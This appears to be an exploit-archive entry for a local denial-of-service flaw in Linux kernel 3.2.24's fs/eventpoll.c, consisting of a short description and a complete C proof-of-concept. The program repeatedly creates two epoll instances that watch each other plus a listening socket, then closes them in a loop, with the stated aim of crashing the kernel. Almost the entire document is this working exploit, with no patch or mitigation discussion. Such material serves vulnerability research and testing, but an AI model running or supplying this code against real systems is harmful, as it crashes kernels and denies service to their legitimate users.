Linux Kernel 3.2.24 – ‘fs/eventpoll.c’ Local Denial of Service
/* The Linux Kernel is prone to a local denial-of-service vulnerability. Successful exploits will allow attackers to cause the kernel to crash, denying service to legitimate users. */ #include <netinet/in.h> #include <sys/epoll.h> #include <errno.h> int main () { struct sockaddr_in addr; struct epoll_event event; int epfd1, epfd2, sock; int rc; int i = 0; while (1) { printf("ITERATION %d\n", ++i); epfd1 = epoll_create(1); printf("epoll_create() -> %d(%d)\n", epfd1, errno); epfd2 = epoll_create(1); printf("epoll_create() -> %d(%d)\n", epfd2, errno); sock = socket(PF_INET, SOCK_STREAM, 0); printf("socket() -> %d(%d)\n", sock, errno); addr.sin_family = AF_INET; addr.sin_port = 0; addr.sin_addr.s_addr = 0; rc = bind(sock, (struct sockaddr*)&addr, sizeof(addr)); printf("bind() -> %d(%d)\n", rc, errno); rc = listen(sock, 1); printf("listen() -> %d(%d)\n", rc, errno); event.data.fd = sock; event.events = 0; rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, sock, &event); printf("epoll_ctl() -> %d(%d)\n", rc, errno); event.data.fd = epfd2; event.events = EPOLLIN; rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, epfd2, &event); printf("epoll_ctl() -> %d(%d)\n", rc, errno); event.data.fd = epfd1; event.events = EPOLLIN; rc = epoll_ctl(epfd2, EPOLL_CTL_ADD, epfd1, &event); printf("epoll_ctl() -> %d(%d)\n", rc, errno); rc = close(epfd1); printf("close(epfd1) -> %d(%d)\n", rc, errno); rc = close(epfd2); printf("close(epfd2) -> %d(%d)\n", rc, errno); rc = close(sock); printf("close(sock) -> %d(%d)\n", rc, errno); sleep(1); printf("\n\n"); } return 0; } |